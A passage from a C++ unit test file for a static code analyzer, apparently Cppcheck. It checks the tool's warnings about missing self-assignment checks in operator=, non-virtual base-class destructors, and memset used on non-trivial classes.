operator=(const B &b) { return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &b)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf5() {\n // ticket # 1233\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if((&a!=this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if((this!=&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(!(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(!(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(false==(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(false==(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(true!=(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(true!=(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if((&a!=this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if((this!=&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(!(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(!(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(false==(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(false==(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(true!=(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(true!=(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"struct A {\\n\"\n \" char *s;\\n\"\n \" A& operator=(const B &b);\\n\"\n \"};\\n\"\n \"A& A::operator=(const B &b) {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf6() {\n // ticket # 1550\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" delete [] data;\\n\"\n \" data = new char[strlen(a.data) + 1];\\n\"\n \" strcpy(data, a.data);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" delete [] data;\\n\"\n \" data = new char[strlen(a.data) + 1];\\n\"\n \" strcpy(data, a.data);\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" delete data;\\n\"\n \" data = new char;\\n\"\n \" *data = *a.data;\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" delete data;\\n\"\n \" data = new char;\\n\"\n \" *data = *a.data;\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n }\n\n void operatorEqToSelf7() {\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & assign(const A & a)\\n\"\n \" {\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" return assign(a);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf8() {\n checkOpertorEqToSelf(\n \"class FMat\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" FMat& copy(const FMat& rhs);\\n\"\n \" FMat& operator=(const FMat& in);\\n\"\n \"};\\n\"\n \"FMat& FMat::copy(const FMat& rhs)\\n\"\n \"{\\n\"\n \" return *this;\\n\"\n \"}\\n\"\n \"FMat& FMat::operator=(const FMat& in)\\n\"\n \"{\\n\"\n \" return copy(in);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf9() {\n checkOpertorEqToSelf(\n \"class Foo\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Foo& operator=(Foo* pOther);\\n\"\n \" Foo& operator=(Foo& other);\\n\"\n \"};\\n\"\n \"Foo& Foo::operator=(Foo* pOther)\\n\"\n \"{\\n\"\n \" return *this;\\n\"\n \"}\\n\"\n \"Foo& Foo::operator=(Foo& other)\\n\"\n \"{\\n\"\n \" return Foo::operator=(&other);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n struct CheckVirtualDestructorOptions\n {\n CheckVirtualDestructorOptions() = default;\n bool inconclusive = false;\n };\n\n // Check that base classes have virtual destructors\n#define checkVirtualDestructor(...) checkVirtualDestructor_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkVirtualDestructor_(const char* file, int line, const char (&code)[size], const CheckVirtualDestructorOptions& options = make_default_obj()) {\n const Settings s = settingsBuilder(settings0).certainty(Certainty::inconclusive, options.inconclusive).severity(Severity::warning).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(s, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &s, this);\n checkClass.virtualDestructor();\n }\n\n void virtualDestructor1() {\n // Base class not found\n\n checkVirtualDestructor(\"class Derived : public Base { };\\n\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualDestructor(\"class Derived : Base { };\\n\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void virtualDestructor2() {\n // Base class doesn't have a destructor\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : public Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : protected Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : private Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9104\n checkVirtualDestructor(\"struct A\\n\"\n \"{\\n\"\n \" A() { cout << \\\"A is constructing\\\\n\\\"; }\\n\"\n \" ~A() { cout << \\\"A is destructing\\\\n\\\"; }\\n\"\n \"};\\n\"\n \" \\n\"\n \"struct Base {};\\n\"\n \" \\n\"\n \"struct Derived : Base\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \"};\\n\"\n \" \\n\"\n \"int main(void)\\n\"\n \"{\\n\"\n \" Base* p = new Derived();\\n\"\n \" delete p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"using namespace std;\\n\"\n \"struct A\\n\"\n \"{\\n\"\n \" A() { cout << \\\"A is constructing\\\\n\\\"; }\\n\"\n \" ~A() { cout << \\\"A is destructing\\\\n\\\"; }\\n\"\n \"};\\n\"\n \" \\n\"\n \"struct Base {};\\n\"\n \" \\n\"\n \"struct Derived : Base\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \"};\\n\"\n \" \\n\"\n \"int main(void)\\n\"\n \"{\\n\"\n \" Base* p = new Derived();\\n\"\n \" delete p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor3() {\n // Base class has a destructor, but it's not virtual\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : protected Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : private Fred, public Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor4() {\n // Derived class doesn't have a destructor => undefined behaviour according to paragraph 3 in [expr.delete]\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : private Fred, public Base { };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor5() {\n // Derived class has empty destructor => undefined behaviour according to paragraph 3 in [expr.delete]\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived() {} };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived(); }; Derived::~Derived() {}\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor6() {\n // Only report error if base class pointer is deleted that\n // points at derived class\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived() { (void)11; } };\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void virtualDestructorProtected() {\n // Base class has protected destructor, it makes Base *p = new Derived(); fail\n // during compilation time, so error is not possible. => no error\n checkVirtualDestructor(\"class A\\n\"\n \"{\\n\"\n \"protected:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void virtualDestructorInherited() {\n // class A inherits virtual destructor from class Base -> no error\n checkVirtualDestructor(\"class Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \"virtual ~Base() {}\\n\"\n \"};\\n\"\n \"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // class A inherits virtual destructor from struct Base -> no error\n // also notice that public is not given, but destructor is public, because\n // we are using struct instead of class\n checkVirtualDestructor(\"struct Base\\n\"\n \"{\\n\"\n \"virtual ~Base() {}\\n\"\n \"};\\n\"\n \"class A : public Base\\n\"\n \"{\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown Base class -> it could have virtual destructor, so ignore\n checkVirtualDestructor(\"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Virtual destructor is inherited -> no error\n checkVirtualDestructor(\"class Base2\\n\"\n \"{\\n\"\n \"virtual ~Base2() {}\\n\"\n \"};\\n\"\n \"class Base : public Base2\\n\"\n \"{\\n\"\n \"};\\n\"\n \"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // class A doesn't inherit virtual destructor from class Base -> error\n checkVirtualDestructor(\"class Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~Base() {}\\n\"\n \"};\\n\"\n \"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7]: (error) Class 'Base' which is inherited by class 'B' does not have a virtual destructor.\\n\",\n \"\", errout_str());\n }\n\n void virtualDestructorTemplate() {\n checkVirtualDestructor(\"template class A\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" virtual ~A(){}\\n\"\n \"};\\n\"\n \"template class AA\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" ~AA(){}\\n\"\n \"};\\n\"\n \"class B : public A, public AA\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" ~B(){int a;}\\n\"\n \"};\\n\"\n \"\\n\"\n \"AA *p = new B; delete p;\");\n ASSERT_EQUALS(\"[test.cpp:9:3]: (error) Class 'AA < double >' which is inherited by class 'B' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructorInconclusive() {\n checkVirtualDestructor(\"class Base {\\n\"\n \"public:\\n\"\n \" ~Base(){}\\n\"\n \" virtual void foo(){}\\n\"\n \"};\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:6]: (warning, inconclusive) Class 'Base' which has virtual members does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base {\\n\"\n \"public:\\n\"\n \" ~Base(){}\\n\"\n \" virtual void foo(){}\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" ~Derived() { bar(); }\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" Base * base = new Derived();\\n\"\n \" delete base;\\n\"\n \"}\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n // class Base destructor is not virtual but protected -> no error\n checkVirtualDestructor(\"class Base {\\n\"\n \"public:\\n\"\n \" virtual void foo(){}\\n\"\n \"protected:\\n\"\n \" ~Base(){}\\n\"\n \"};\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualDestructor(\"class C {\\n\"\n \"private:\\n\"\n \" C();\\n\"\n \" virtual ~C();\\n\"\n \"};\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define checkNoMemset(...) checkNoMemset_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkNoMemset_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::portability).library(\"std.cfg\").library(\"posix.cfg\").build();\n checkNoMemset_(file, line, code, settings);\n }\n\n template\n void checkNoMemset_(const char* file, int line, const char (&code)[size], const Settings &settings) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n checkClass.checkMemset();\n }\n\n void memsetOnClass() {\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" static std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string * b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" mutable std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred {\\n\"\n \" std::string b;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void Fred::f() {\\n\"\n \" memset(this, 0, sizeof(*this));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"class Pebbles: public Fred {};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Pebbles pebbles;\\n\"\n \" memset(&pebbles, 0, sizeof(pebbles));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" virtual ~Fred();\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a virtual function. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" virtual ~Fred();\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" static Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a virtual function. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \"};\\n\"\n \"class Wilma\\n\"\n \"{\\n\"\n \" virtual ~Wilma();\\n\"\n \"};\\n\"\n \"class Pebbles: public Fred, Wilma {};\\n\"\n \"void f()\\n\"\n 